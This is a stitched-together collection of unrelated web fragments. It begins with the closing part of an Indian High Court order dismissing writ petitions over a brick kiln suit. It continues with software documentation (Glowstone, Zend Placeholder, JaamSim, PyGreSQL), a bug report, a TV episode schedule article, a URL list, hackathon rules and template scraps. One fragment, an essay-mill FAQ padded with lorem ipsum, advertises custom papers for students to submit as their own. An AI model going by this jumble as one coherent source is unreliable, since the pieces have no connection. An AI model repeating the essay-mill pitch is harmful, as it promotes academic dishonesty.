In CWP No.4275/2006, while challenging the order allowing the application for amendment, learned counsel for the petitioner has referred to the plaint averments and strenuously contended that as per such averments, all the facts were in the knowledge of the plaintiffs and when they omitted to take all the requisite averments, the amendment could not have been allowed so as to change the cause of action. Learned counsel also contended that by allowing the 7 amendment, nature of the suit would change and, therefore, amendment could not have been allowed. While challenging the order as made on the application under Order VII Rule 11 CPC in CWP No.4276/2006, learned counsel contended that the plaint discloses no cause of action at all; that the plaintiffs could have adopted the proceedings before the competent authorities and hence, per Section 41(h) of the Specific Relief Act, the suit was not maintainable. Learned counsel for the non-petitioners-respondents has duly supported the order impugned.
Having heard learned counsel for the parties and having given thoughtful consideration to the rival submissions and having perused the material placed on record, this Court is clearly of opinion that these writ petitions remain bereft of substance and deserve to be dismissed.
So far the application for amendment is concerned, the learned Trial Court has taken note of the rival submissions and has found that essentially the prayer for amendment was made with reference to the subsequent events and has found it proper to allow the amendment for effectual determination of the questions involved in the case. Having regard to the overall circumstances of the case, the submissions of the plaintiffs about themselves being not aware of the specific land use conversion order could not have been dubbed as false or incorrect nor the averment as taken in the original plaint could 8 have been construed to mean that the plaintiffs were specifically aware of the land conversion order dated 29.03.2006 as made in favour of the petitioner. Amongst other aspects, it is noticed from the documents placed by the petitioner on record that the permission for earth excavation was issued by the Mining Engineer, Bikaner (Annex.8 in CWP No.4275/2006) only on 30.06.2006 and the recommendation of the Regional Officer of the State Pollution Control Board was issued on 28.07.2006 (Annex. 11 in CWP No. 4275/2006) with a note to the petitioner that production had been started and immediately the application for requisite permission be made and else, necessary proceedings under Air (Prevention of Pollution) Act, 1981 would be adopted. The plaint was presented on 19.07.2006. In the overall circumstances of the case and particularly looking to the subsequent events of commissioning of kiln and issuance of aforesaid orders/recommendations only after filing of the suit, the amendment was definitely necessary for effectual determination of the questions involved in the suit; and the learned Trial Court cannot be said to have committed any jurisdictional error in allowing the amendment as prayed for nor the impugned order discloses any such jurisdictional error leading to manifest failure of justice so as to warrant interference under Article 227 of the Constitution of India. 9
So far the application under Order VII Rule 11 CPC is concerned, the plaint as framed for the purpose of reliefs as claimed cannot be said to be suffering from the vice of non- disclosure of cause of action nor the suit could be said to be barred by any law. Merely because some of the parties to the suit like the Mining Engineer and the Director of Pollution Control Board were said to be situated at Bikaner, it cannot be said that the suit in relation to the cause as stated, raising grievance against the disputed brick kiln, was not of the jurisdiction of the Court at Rajgarh where the kiln was established and commissioned. The argument as made with reference to Section 41 (h) of Specific Relief Act also remains bereft of substance. Whether in the given case the relief could have been obtained by way of alternative proceedings and whether the injunction as prayed for be granted or not, are the questions to be gone into in the suit but on such submissions, it cannot be said that any bar of law operates over the trial of the suit. The learned Trial Court has rightly rejected the application under Order VII Rule 11 CPC being bereft of substance. This apart, in view of the relief as claimed in the application under Order VII Rule 11 CPC, for rejection of the plaint, the order passed on the said application was obviously open to revision before this Court. The petitioner has yet chosen to prefer a writ petition in relation to the said order too. The petition against such part of the impugned order (CWP 10 No. 4276/2006) is required to be dismissed on this count also. However, and in any event, the petitioner has no case on merits for the impugned order does not disclose any jurisdictional error so as to call for interference.
As a result of the aforesaid, both these writ petitions fail and are, therefore, dismissed. No costs.
(DINESH MAHESHWARI),J.
MK


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Package net.glowstone.block.blocktype
Interface Summary
Interface
Description
IBlockGrowable
Represents a growable block.
Class Summary
Class
Description
BlockAnvil
BlockAttachable
BlockBanner
BlockBeacon
BlockBed
BlockBrewingStand
BlockButton
BlockCactus
BlockCarpet
BlockCarrot
BlockCauldron
BlockChest
BlockChorusFlower
BlockChorusPlant
BlockClimbable
BlockCocoa
BlockConcretePowder
BlockContainer
Base BlockType for containers.
BlockCrops
BlockDaylightDetector
BlockDeadBush
BlockDirectDrops
BlockDirectional
BlockDirt
BlockDispenser
BlockDoor
BlockDoublePlant
BlockDoubleSlab
BlockDropless
BlockDropper
BlockEnchantmentTable
BlockEnderChest
BlockEnderPortalFrame
BlockEndRod
BlockFalling
Represents a block that falls down, when there's no block below it.
BlockFence
BlockFenceGate
BlockFire
BlockFlowerPot
BlockFurnace
BlockGrass
BlockGrassPath
BlockGravel
BlockHay
BlockHopper
BlockHugeMushroom
BlockIce
BlockIronTrapDoor
BlockJukebox
BlockLadder
BlockLamp
A redstone lamp.
BlockLava
BlockLeaves
BlockLever
BlockLiquid
BlockLitRedstoneOre
BlockLog
BlockLog2
BlockMagma
BlockMelon
BlockMobSpawner
BlockMonsterEgg
BlockMushroom
BlockMycel
BlockNeedsAttached
BlockNeedsTool
BlockNetherWart
BlockNote
BlockObserver
BlockOpenable
Represents blocks that can be opened through a right-click.
BlockOre
BlockPiston
BlockPotato
BlockPumpkin
BlockPumpkinBase
BlockPurpurPillar
BlockQuartz
BlockRails
BlockRandomDrops
A block type that drops a random number of items when broken, and isn't affected by the Fortune enchantment (unlike
BlockOre
).
BlockRedstone
A redstone wire block.
BlockRedstoneComparator
BlockRedstoneOre
BlockRedstoneRepeater
BlockRedstoneTorch
BlockSapling
BlockSign
BlockSkull
BlockSlab
BlockSnow
BlockSnowBlock
BlockSoil
BlockSponge
BlockStairs
BlockStem
BlockStone
BlockSugarCane
BlockTallGrass
BlockTnt
BlockTorch
BlockTrapDoor
Helper for trapdoor blocks.
BlockType
Base class for specific types of blocks.
BlockVine
BlockWater
BlockWeb
BlockWoodenTrapDoor
BlockWorkbench
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Copyright © 2021. All rights reserved.


Bug summary:
Application crashes
Observed Behavior (a description of what happened with the app):
Application crashes on adding a new time range.
Expected Behavior (a description of what you expected to happen):
A new time range should be added.
Steps to Reproduce (the steps to reproduce the problem):
1. Add task along with task name
2. Long press it and open show timings
3. Click on 3 dots on the top right screen and select Add a new time range
Additional information:
NA
Attachments:


Posted by HappyDay on July 03, 2019 · 4 mins read
Posted by HappyDay on July 02, 2019 · 167 1 min read
Posted by HappyDay on June 30, 2019 · 5 mins read


Miriam Briskman, CUNY Brooklyn College, CISC 5001 (Independent Study) class, Spring 2020
Supervising Professor: Dina Sokol, Ph.D.
Visitors:
Modified on:
Copyright ©


HIRE WITH US
CALL US FOR HIRING
Eligibility Criteria
- Should be a Registered Entity/Firm/Organization
How We Do It?
- Help You to Connect With Right Talent
- Posting Jobs On Our Social Media Profile
- Sharing Resumes of Relevant Candidates
- Providing Trained Candidates
- Help in Hiring Best Interns & FT Candidates
Salient Features
- Providing effective platform for hiring right candidates for your firm/organization
- Social Media Marketing
- Advertise your services
- Connecting Skills to Sectors


The following questionnaire is designed to allow an individual DSE user to assess their workstation/s. Where a user has answered 'No' to any question in Part B, or provided details of any health effects in Part C, the employer should investigate and assess futher and/or make any workstation adjustments, if necessary.
Before completing this questionnaire please refer to question comments and figure 1 for guidance on DSE set up and seating position.
Sitel operates a hot desking policy and therefore these qustions should be applied to each of the stations you have worked at. Individual/isolated issues should be reported to your Team Manager.


Pure CSS3 Slide Down Toggle Demo
Click the Open button to see hidden mesage.
hello, I'm a hidden message. You found it.
Now Click the Heart button in the bottom to support CSS3


When is episode 6 of ‘See’ airing on Apple TV+?
by Stephen HallSee is one of many new offerings on Apple’s new Apple TV+ streaming service, and at launch, only 3 of its 8 total episodes were available to stream. Now that you’ve watched the first set, you might be wondering when you can expect to get more of Jason Momoa, Sylvia Hoeks, Alfre Woodard, and more. Here’s when you should expect episode 6 of ‘See’ to air on Apple TV+.
When will I be able to stream episodes 4-8 of ‘See’ on Apple TV+?
Apple has announced that the remaining seven episodes of See will be available on Apple TV+ on a weekly basis — starting on November 8th with episode 4.
- See episode 4: November 8, 2019
- See episode 5: November 15, 2019
- See episode 6: November 22, 2019
- See episode 7: November 29, 2019
- See episode 8: December 6, 2019
What time is See episode 6 going to be available?
We didn’t know last week when new episodes would actually be available (we knew the date, but not the exact time). Thankfully, now we know that Apple updates its listings at midnight Eastern Time (US) on the day of release. So if you want to stay up late on the day before release you might be able to catch it before heading to sleep.
For a complete roundup of everything Apple TV+ subscribers will have access to, be sure to check out our full guide. There, you’ll find every Apple original television show and movie available now on Apple TV+, as well as the latest trailers and what you can expect to come in the future.
More Apple TV+ stories and guides:
- Here’s how to get your free year of Apple TV+
- Cannot sign in to the Apple TV app on Amazon Fire TV? Here’s the fix
You’re reading 9to5Mac — experts who break news about Apple and its surrounding ecosystem, day after day. Be sure to check out our homepage for all the latest news, and follow 9to5Mac on Twitter, Facebook, and LinkedIn to stay in the loop. Don’t know where to start? Check out our exclusive stories, reviews, how-tos, and subscribe to our YouTube channel.
FTC: We use income earning auto affiliate links. More.


Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis
What is a custom writing service?
Are your writers qualified for the custom writing?
How quick can my order be accomplished?
Is it legal to buy custom essays, term papers or book reports from your company?
Are essays offered by your company truly custom-written?
Is it safe to buy papers from SupremeEssays.com?
How secure is the payment system of your company?
In what format do you provide your custom essays?
What charge will appear on my credit card statement?
What types of essays/book reports and research papers do you offer?
What are your guarantees regarding plagiarism?
Can I submit custom essays or term papers done by your company as my own?
Duis vestibulum quis quam vel accumsan. Nunc a vulputate lectus. Vestibulum eleifend nisl sed massa sagittis vestibulum. Vestibulum pretium blandit tellus, sodales volutpat sapien varius vel. Phasellus tristique cursus erat, a placerat tellus laoreet eget. Fusce vitae dui sit amet lacus rutrum convallis. Vivamus sit amet lectus venenatis est rhoncus interdum a vitae velit.


| AdvertiseError |
This enum describes all possible errors that can occur when trying to start advertising
|
| BondState |
The class represents the various possible bond states
|
| ConnectionPriority |
|
| ConnectionState |
This class represents the possible connection states
|
| GattStatus |
The GattStatus describes the result of a GATT operation.
|
| HciStatus |
This class describes the HCI error codes as defined in the Bluetooth Standard, Volume 1, Part F, 1.3 HCI Error Code, pages 364-377.
|
| PeripheralType |
This class represents the possible peripheral types
|
| PhyOptions |
This class represents the possible Phy options
|
| PhyType |
This class represents the possible Phy types
|
| ScanFailure |
This class represents the possible scan failure reasons
|
| ScanMode |
This class represents the possible scan modes
|
| WriteType |
WriteType describes the type of write that can be done
|


Welcome to
Vanilla
The best way to track your transactions and have control over your money.
Sign in with Google


$def with (post, thread, isoppost) $ isboardview = model['current_thread'] == None $if isoppost: $:post.subject $:post.username $:post.date $if isboardview: $:post.postid $else: $:post.postid $if isboardview and isoppost: [Reply]
$if not isboardview: $for reply in thread.getPostReplies(post.postid): >>$:reply


--- description: We help businesses every step of the way in building beautiful and performant products. --- {% extends "./layouts/base.html" %} {% from "./macros/contact-trigger-tag.html" import contactTriggerTag %} {% block content %}
Design is not making beauty; beauty emerges from selection, affinities, integration, love.Louis Kahn
We believe that software should be simple to use for humans. At the same time bringing higher returns on investment for businesses. We help you every step of the way in building beautiful and performant products.
We have helped, Razorfish, Compile, Indianstage, Apple, Nike, STARZ, OBEO, Pearson Publishing, OnMobile, Zoomdeck, IL&FS, Cambridge University Entrepreneurs, Cavium, TCS, Let’s Go Holdings, and many more.
Want us to help? {{ contactTriggerTag(text = 'Write to us', email = site.contactEmail) }}.


--- layout: default title: 404! headline: 404!  Things to try:
Check the URL's spelling. Click your browser's Back button or return to the homepage.


The Placeholder view helper is used to persist content between view scripts and view instances. It also offers some useful features such as aggregating content, capturing view script content for later use, and adding pre- and post-text to content (and custom separators for aggregated content).
Basic usage of placeholders is to persist view data. Each invocation of the Placeholder helper expects a placeholder name; the helper then returns a placeholder container object that you can either manipulate or simply echo out.
1 2 3 4 5 6 | <?php $this->placeholder('foo')->set("Some text for later") ?>
<?php
echo $this->placeholder('foo');
// outputs "Some text for later"
?>
|
Aggregating content via placeholders can be useful at times as well. For instance, your view script may have a variable array from which you wish to retrieve messages to display later; a later view script can then determine how those will be rendered.
The Placeholder view helper uses containers that extend ArrayObject, providing a rich feature set for manipulating arrays. In addition, it offers a variety of methods for formatting the content stored in the container:
1 2 |
<?php $this->placeholder('foo')->exchangeArray($this->data) ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 |
<?php
$this->placeholder('foo')->setPrefix("
\n
")
->setSeparator("

\n")
->setIndent(4)
->setPostfix("

\n");
?>
<?php
echo $this->placeholder('foo');
// outputs as unordered list with pretty indentation
?>
|
Because the Placeholder container objects extend ArrayObject, you can also assign content to a specific key in the container easily, instead of simply pushing it into the container. Keys may be accessed either as object properties or as array keys.
1 2 3 4 5 6 7 | <?php $this->placeholder('foo')->bar = $this->data ?>
<?php echo $this->placeholder('foo')->bar ?>
<?php
$foo = $this->placeholder('foo');
echo $foo['bar'];
?>
|
Occasionally you may have content for a placeholder in a view script that is easiest to template; the Placeholder view helper allows you to capture arbitrary content for later rendering using the following API.
captureStart($type, $key) begins capturing content.
$type should be one of the Placeholder constants APPEND or SET. If APPEND, captured content is appended to the list of current content in the placeholder; if SET, captured content is used as the sole value of the placeholder (potentially replacing any previous content). By default, $type is APPEND.
$key can be used to specify a specific key in the placeholder container to which you want content captured.
captureStart() locks capturing until captureEnd() is called; you cannot nest capturing with the same placeholder container. Doing so will raise an exception.
captureEnd() stops capturing content, and places it in the container object according to how captureStart() was called.
1 2 3 4 5 6 7 8 9 10 11 |
<?php $this->placeholder('foo')->captureStart();
foreach ($this->data as $datum): ?>

<?php echo $datum->title ?>

<?php echo $datum->content ?>

<?php endforeach; ?>
<?php $this->placeholder('foo')->captureEnd() ?>
<?php echo $this->placeholder('foo') ?>
|
1 2 3 4 5 6 7 8 9 10 11 |
<?php $this->placeholder('foo')->captureStart('SET', 'data');
foreach ($this->data as $datum): ?>

<?php echo $datum->title ?>

<?php echo $datum->content ?>

<?php endforeach; ?>
<?php $this->placeholder('foo')->captureEnd() ?>
<?php echo $this->placeholder('foo')->data ?>
|
Zend Framework ships with a number of “concrete” placeholder implementations. These are for commonly used placeholders: doctype, page title, and various  elements. In all cases, calling the placeholder with no arguments returns the element itself.
Documentation for each element is covered separately, as linked below:
The source code of this file is hosted on GitHub. Everyone can update and fix errors in this document with few clicks - no downloads needed.


| https://f1000research.com/articles/4-1482/v1/xml | Recent advances in treatment for Benign Prostatic Hyperplasia |
| https://f1000research.com/articles/1-29/v1/xml | Donor awareness: key to successful voluntary blood donation |
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| https://f1000research.com/articles/3-281/v1/xml | Effect of microalgae application on soil algal species diversity, cation exchange capacity and organic matter after herbicide treatments |
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| https://f1000research.com/articles/5-133/v1/xml | Up in the air: Untethered Factors of Auxin Response |
| https://f1000research.com/articles/4-457/v4/xml | EEG correlates of social interaction at distance |
| https://f1000research.com/articles/5-1680/v1/xml | Case Report: ALCAPA syndrome: successful repair with an anatomical and physiological alternative surgical technique |
| https://f1000research.com/articles/5-2029/v1/xml | Autosomal dominant polycystic kidney disease: recent advances in clinical management |
| https://f1000research.com/articles/6-231/v1/xml | Evidence-informed capacity building for setting health priorities in low- and middle-income countries: A framework and recommendations for further research |
| https://f1000research.com/articles/7-206/v1/xml | Evaluation of defense strategy against Influenza A in cell line models |
| https://f1000research.com/articles/7-606/v1/xml | Absence of toll-like receptor 9 Pro99Leu polymorphism in cervical cancer |
| https://f1000research.com/articles/7-804/v1/xml | Recent advances in understanding female gametophyte development |
| https://f1000research.com/articles/7-76/v2/xml | Purine-rich low complexity regions are potential RNA binding hubs in the human genome |
| https://f1000research.com/articles/3-237/v1/xml | Selective degradation of serum proteins is likely responsible for the spurious differences in innate immunity proteins observed in a type 1 diabetes study |
| https://f1000research.com/articles/6-93/v2/xml | Prenatal brain MRI samples for development of automatic segmentation, target-recognition, and machine-learning algorithms to detect anatomical structures |
| https://f1000research.com/articles/2-164/v1/xml | The nature and prevalence of chronic pain in homeless persons: an observational study |
| https://f1000research.com/articles/2-283/v1/xml | A case report of simultaneous PML-IRIS during corticosteroids tapering in a patient with an anti-synthetase syndrome |
| https://f1000research.com/articles/3-35/v1/xml | Functional abdominal pain causing Scurvy, Pellagra, and Hypovitaminosis A |
| https://f1000research.com/articles/4-1091/v2/xml | Machine learning models identify molecules active against the Ebola virus in vitro |
| https://f1000research.com/articles/3-59/v1/xml | Spatial response of the globally-endangered Sokoke Pipit (Anthus sokokensis van Someren, 1921) to habitat modification in an Eastern Arc Coastal Forest |
| https://f1000research.com/articles/4-164/v1/xml | Nocturnal Hypertension and Attenuated Nocturnal Blood Pressure Dipping is Common in Pediatric Lupus |
| https://f1000research.com/articles/4-1208/v1/xml | Fascial Manipulation® for chronic aspecific low back pain: a single blinded randomized controlled trial |
| https://f1000research.com/articles/7-57/v2/xml | Crystal structures of a llama VHH antibody BCD090-M2 targeting human ErbB3 receptor |
| https://f1000research.com/articles/6-67/v2/xml | Training strategies and outcomes of ab interno trabeculectomy with the trabectome |
| https://f1000research.com/articles/7-1797/v1/xml | Disulfiram repurposing combined with nutritional copper supplement as add-on to chemotherapy in recurrent glioblastoma (DIRECT): Study protocol for a randomized controlled trial |
| https://f1000research.com/articles/1-66/v1/xml | Introducing the global medical community to the information presented at local scientific conferences through nephrology blogs |
| https://f1000research.com/articles/4-127/v2/xml | agINFRA: a research data hub for agriculture, food and the environment |
| https://f1000research.com/articles/7-1834/v1/xml | Behavioural and emotional issues among primary school pupils with congenital colour vision deficiency in the Federal Territory of Kuala Lumpur, Malaysia: A case-control study |
| https://f1000research.com/articles/6-181/v1/xml | A curated transcriptomic dataset collection relevant to embryonic development associated with in vitro fertilization in healthy individuals and patients with polycystic ovary syndrome |
| https://f1000research.com/articles/6-1235/v1/xml | A 4-week, lifestyle-integrated, home-based exercise training programme elicits improvements in physical function and lean mass in older men and women: a pilot study |
| https://f1000research.com/articles/6-1728/v1/xml | Rapid coral mortality following doldrums-like conditions on Iriomote, Japan |
| https://f1000research.com/articles/3-97/v1/xml | Spinal cord stimulation for complex regional pain syndrome type 1 with dystonia: a case report and discussion of the literature |
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| https://f1000research.com/articles/4-119/v1/xml | A(a)LS: Ammonia-induced amyotrophic lateral sclerosis |
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| https://f1000research.com/articles/7-30/v2/xml | Does evidence support the high expectations placed in precision medicine? A bibliographic review |
| https://f1000research.com/articles/4-57/v1/xml | The role of globalization in drug development and access to orphan drugs: orphan drug legislation in the US/EU and in Latin America |
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| https://f1000research.com/articles/7-1023/v3/xml | Analysis of the complete genome of hepatitis B virus subgenotype C2 isolate NHB17965 from a HBV infected patient |
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| https://f1000research.com/articles/7-1167/v1/xml | Utilization of full postnatal care services among rural Myanmar women and its determinants: a cross-sectional study |
| https://f1000research.com/articles/7-562/v1/xml | Case Report: A Primordial odontogenic tumor |
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| https://f1000research.com/articles/6-1003/v2/xml | Assessment of injection safety in Ha Dong General Hospital, Hanoi, in 2012 |
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The EntityProcessor simulates multiple parallel servers that share the same queue. The servers are assumed to have exactly the same characteristics, which makes them interchangeable.
The Capacity input specifies the number of parallel servers.
The WaitQueue input identifies the Queue from which the entities are drawn for processing.
The optional ResourceList and NumberOfUnits keywords determine whether additional resources need to be seized before processing can begin. All the resource units must be available before the next entity can be removed from the WaitQueue. The resource units are seized simultaneously.
When the processing of an entity is completed, its resources are released, the entity is sent to the object specified by the NextComponent input.
The operation of an EntityProcessor can be stopped by threshold closures, scheduled maintenance, and by breakdown events as controlled by the inputs to its various Threshold, Maintenance, and Breakdown keywords.
The ReleaseThresholdList input works for EntityProcessor in the same way that it works for Server. When a threshold in the list closes, each of the EntityProcessor's units continues to work until the entity being processed is ready to be released and has returned any resources it had seized, at which point the unit is halted. The other units continue to work until they too are ready to release their entity. When the threshold re-opens, all the waiting entities are released at the same time.
Normally, an EntityProcessor picks the first object from its queue for processing. However, it is possible to select any of the other objects in the queue using the Match, SelectionCondition, and NextEntity keywords. These inputs can be used separately or together to specify the objects that are eligible to be selected.
EntityProcessor Inputs
|
Keyword |
Description |
|
Key Inputs |
|
|
Description |
A free-form string describing the object. |
|
NextComponent |
The next object to which the processed entity is passed. |
|
WaitQueue |
Queue from which the next entity for processing will be selected. If an expression is entered that can return various Queues, it is necessary for each Queue to be included in the entry to the WatchList keyword. If a Queue is not included, then the arrival of an entity to that Queue will not wake up this processor. |
|
Match |
An expression returning a string value that determines which of the queued entities are eligible to be selected. If used, the only entities eligible for selection are the ones whose inputs for the Queue's Match keyword are equal to value returned by the expression entered for this Match keyword. Expressions that return a dimensionless integer or an object are also valid. The returned number or object is converted to a string automatically. A floating point number is truncated to an integer. Note that a change in the Match value does not trigger the processor automatically to re-check the Queue. The processor can be triggered by adding one or more objects to the WatchList input. |
|
SelectionCondition |
An optional expression that tests whether an entity in the queue is eligible to be processed. The expression should return 1 (true) if the entity is eligible. The entity chosen for processing is the first one in the queue that satisfies both the SelectionCondition expression and the Match value (if specified). Unlike the Match value, which must be specified when an entity first enters the queue, the SelectionCondition is evaluated when an entity is to be removed from the queue. Consequently, a SelectionCondition is more flexible than a Match value, but is significantly less efficient. |
|
NextEntity |
An optional expression that returns the next entity to be removed from the queue. No entity is removed if the expression returns null or the entity is not present in the queue. To be removed, the entity must also satisfy the Match and SelectionCondition inputs if these are entered. |
|
WatchList |
An optional list of objects to monitor. The queue will be inspected for an entity to process whenever one of the WatchList objects changes state. |
|
ResourceList |
The Resources from which units are to be seized. All the resource units must be available to be seized before any one unit is seized. When more than one object attempts to seize the same resource, the resource is assigned based on the priorities and arrival times of entities waiting in the objects' Queues. An entity's priority is determined by the Priority input for its Queue, and is assigned to the entity when it first arrives to the Queue. This priority determines both the position of the entity in the queue and its priority for seizing a resource. If several entities have the same priority, the resource is assigned to entity that arrived first to its Queue. |
|
NumberOfUnits |
The number of units to seize from the Resources specified by the ResourceList keyword. The last value in the list is used if the number of resources is greater than the number of values. Only an integer number of resource units can be seized. A decimal value will be truncated to an integer. |
|
Capacity |
The maximum number of entities that can be processed simultaneously. If the capacity changes during the simulation run, the EntityProcessor will attempt to use an increase in capacity as soon as it occurs. However, a decrease in capacity will have no effect on entities that have already started processing. |
|
ServiceTime |
The service time required to process an entity. |
|
Options |
|
|
AttributeDefinitionList, CustomOutputList |
See Section 6.2. |
|
StateAssignment |
The state to be assigned to each entity on arrival at this object. No state is assigned if the entry is blank. |
|
Thresholds |
|
|
ImmediateThresholdList, ImmediateReleaseThresholdList, OperatingThresholdList, ReleaseThresholdList |
See Section 10.1. |
|
Maintenance |
|
|
WorkingStateList, ImmediateMaintenanceList, ForcedMaintenanceList, OpportunisticMaintenanceList, ImmediateBreakdownList, ForcedBreakdownList, OpportunisticBreakdownList |
See Section 10.2. |
|
Format |
|
|
StateGraphics |
A list of state/DisplayEntity pairs. For each state, the graphics will be changed to those for the corresponding DisplayEntity, e.g. { Idle DisplayEntity1 } { Working DisplayEntity2 } |
|
ProcessPosition |
The position of the entity being processed relative to the processor. |
|
Graphics |
|
|
Position, Alignment, Size, Orientation, Region, RelativeEntity, DisplayModel, Show, Movable, VisibleViews, DrawRange |
See Section 11.1. |
EntityProcessor Outputs
|
Output Name |
Description |
|
Entity and DisplayEntity |
|
|
Name, ObjectType, SimTime, Parent, Position, Size, Orientation, Alignment, GraphicalLength, ObserverList, NextList, PreviousList, EntityReferenceList |
See Section 11.1. |
|
StateEntity |
|
|
State, WorkingState, WorkingTime, StateTimes, TotalTime |
See Section 10.3. |
|
StateUserEntity |
|
|
Idle, Working, Setup, Maintenance, Breakdown, Stopped, Utilisation, Commitment, Availability, Reliability, Open, NextMaintenanceTime, NextBreakdownTime |
See Section 10.2. |
|
LinkedDevice |
|
|
obj, NumberAdded, NumberProcessed, NumberInProgress, ProcessingRate, ReleaseTime |
See Section 16. |
|
LinkedService |
|
|
MatchValue |
The present value to be matched to an entity in the queue. |
|
EntityProcessor |
|
|
Capacity |
The present number of entities that can be processed simultaneously. |
|
UnitsInUse |
The present number of capacity units that are being used. |
|
EntityList |
The entities being processed at present. |
|
RemainingTime |
The remaining processing time for the entities being processed at present. |
|
User-defined attributes and custom outputs |
As defined by the AttributeDefinitionList and CustomOutputList inputs. |


| Version: 99-trunk-SNAPSHOT |
| Install Directory: |
| Instance Directory: /Users/chirino/opt/apollo-01 |
| Version: Java HotSpot(TM) 64-Bit Server VM 1.6.0_45 (Apple Inc.) |
| Up Time: 76720.56 seconds |
| Heap Memory: 39.70 mb / 180.69 mb |
| Non-Heap Memory: 54.86 mb / 55.13 mb |
| Threads: 42 |
| CPU Time: 244.990 seconds |
| Name: Mac OS X 10.8.3 |
| Architecture: x86_64 |
| Processor Cores: 8 |
| Memory Free/Total: 3.29 gb / 16.00 gb |
| Swap Used/Available: 0 bytes / 3.00 gb |
| FD Open/Max: 211 / 10240 |
| Load Average2.5869140625 |


Slack channel : Slack for Team HackNEU
Facebook group : Facebook group for Team HackNEU
With the help of Boston AR meetup group, Google and Team Hack NEU we have been able to secure some Hardware:
Hardware available: Click here
Link to claim hardware: Click here
Northeastern University Dataset : Link
Let’s be honest, y’all can do better than Powerpoints. Which is why we rock with live DEMOS only! No exceptions. To win HackNEU 2017 hackathon, you will have to demo your product for at least 30 seconds, but no more than 4 minutes. Don’t worry if your project is still not 100% perfected. Projects will be judged based on the following criteria:
All submissions will updated on HackNEU 2017 Devpost on 12 Feb 2017 between 12pm-1pm.
For this Hackathon session participants are required to login to hackneu2017.devpost.com and submit project wise details for challenge/prize consideration by judges.
Please submit following details in order to consider for valid submission:


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Connection – The connection object¶
-
class
pg.
Connection
¶
This object handles a connection to a PostgreSQL database. It embeds and hides all the parameters that define this connection, thus just leaving really significant parameters in function calls.
Note
Some methods give direct access to the connection socket.
Do not use them unless you really know what you are doing.
If you prefer disabling them,
set the -DNO_DIRECT
option in the Python setup file.
These methods are specified by the tag [DA].
Note
Some other methods give access to large objects
(refer to PostgreSQL user manual for more information about these).
If you want to forbid access to these from the module,
set the -DNO_LARGE
option in the Python setup file.
These methods are specified by the tag [LO].
query – execute a SQL command string¶
-
Connection.
query
(command[, args])¶ Execute a SQL command string
Parameters: - command (str) – SQL command
- args – optional positional arguments
Returns: result values
Return type: Query
, NoneRaises: - TypeError – bad argument type, or too many arguments
- TypeError – invalid connection
- ValueError – empty SQL query or lost connection
- pg.ProgrammingError – error in query
- pg.InternalError – error during query processing
This method simply sends a SQL query to the database. If the query is an
insert statement that inserted exactly one row into a table that has OIDs, the
return value is the OID of the newly inserted row. If the query is an update
or delete statement, or an insert statement that did not insert exactly one
row in a table with OIDs, then the number of rows affected is returned as a
string. If it is a statement that returns rows as a result (usually a select
statement, but maybe also an "insert/update ... returning"
statement),
this method returns a Query
that can be accessed via the
Query.getresult()
, Query.dictresult()
or
Query.namedresult()
methods or simply printed.
Otherwise, it returns None
.
The query may optionally contain positional parameters of the form $1
,
$2
, etc instead of literal data, and the values supplied as a tuple.
The values are substituted by the database in such a way that they don’t
need to be escaped, making this an effective way to pass arbitrary or
unknown data without worrying about SQL injection or syntax errors.
When the database could not process the query, a pg.ProgrammingError
or
a pg.InternalError
is raised. You can check the SQLSTATE
error code
of this error by reading its sqlstate
attribute.
Example:
name = input("Name? ")
phone = con.query("select phone from employees where name=$1",
(name,)).getresult()
reset – reset the connection¶
-
Connection.
reset
()¶ Reset the
pg
connectionReturn type: None
Raises: - TypeError – too many (any) arguments
- TypeError – invalid connection
This method resets the current database connection.
cancel – abandon processing of current SQL command¶
-
Connection.
cancel
()¶ Return type: None
Raises: - TypeError – too many (any) arguments
- TypeError – invalid connection
This method requests that the server abandon processing of the current SQL command.
close – close the database connection¶
-
Connection.
close
()¶ Close the
pg
connectionReturn type: None Raises: TypeError – too many (any) arguments
This method closes the database connection. The connection will be closed in any case when the connection is deleted but this allows you to explicitly close it. It is mainly here to allow the DB-SIG API wrapper to implement a close function.
transaction – get the current transaction state¶
-
Connection.
transaction
()¶ Get the current in-transaction status of the server
Returns: the current in-transaction status
Return type: int
Raises: - TypeError – too many (any) arguments
- TypeError – invalid connection
The status returned by this method can be TRANS_IDLE
(currently idle),
TRANS_ACTIVE
(a command is in progress), TRANS_INTRANS
(idle,
in a valid transaction block), or TRANS_INERROR
(idle, in a failed
transaction block). TRANS_UNKNOWN
is reported if the connection is
bad. The status TRANS_ACTIVE
is reported only when a query has been
sent to the server and not yet completed.
parameter – get a current server parameter setting¶
-
Connection.
parameter
(name)¶ Look up a current parameter setting of the server
Parameters: name (str) – the name of the parameter to look up
Returns: the current setting of the specified parameter
Return type: str or None
Raises: - TypeError – too many (any) arguments
- TypeError – invalid connection
Certain parameter values are reported by the server automatically at connection startup or whenever their values change. This method can be used to interrogate these settings. It returns the current value of a parameter if known, or None if the parameter is not known.
You can use this method to check the settings of important parameters such as server_version, server_encoding, client_encoding, application_name, is_superuser, session_authorization, DateStyle, IntervalStyle, TimeZone, integer_datetimes, and standard_conforming_strings.
Values that are not reported by this method can be requested using
DB.get_parameter()
.
New in version 4.0.
date_format – get the currently used date format¶
-
Connection.
date_format
()¶ Look up the date format currently being used by the database
Returns: the current date format
Return type: str
Raises: - TypeError – too many (any) arguments
- TypeError – invalid connection
This method returns the current date format used by the server. Note that
it is cheap to call this method, since there is no database query involved
and the setting is also cached internally. You will need the date format
when you want to manually typecast dates and timestamps coming from the
database instead of using the built-in typecast functions. The date format
returned by this method can be directly used with date formatting functions
such as datetime.strptime()
. It is derived from the current setting
of the database parameter DateStyle
.
New in version 5.0.
fileno – get the socket used to connect to the database¶
-
Connection.
fileno
()¶ Get the socket used to connect to the database
Returns: the socket id of the database connection
Return type: int
Raises: - TypeError – too many (any) arguments
- TypeError – invalid connection
This method returns the underlying socket id used to connect to the database. This is useful for use in select calls, etc.
getnotify – get the last notify from the server¶
-
Connection.
getnotify
()¶ Get the last notify from the server
Returns: last notify from server
Return type: tuple, None
Raises: - TypeError – too many parameters
- TypeError – invalid connection
This method tries to get a notify from the server (from the SQL statement
NOTIFY). If the server returns no notify, the methods returns None.
Otherwise, it returns a tuple (triplet) (relname, pid, extra), where
relname is the name of the notify, pid is the process id of the
connection that triggered the notify, and extra is a payload string
that has been sent with the notification. Remember to do a listen query
first, otherwise Connection.getnotify()
will always return None
.
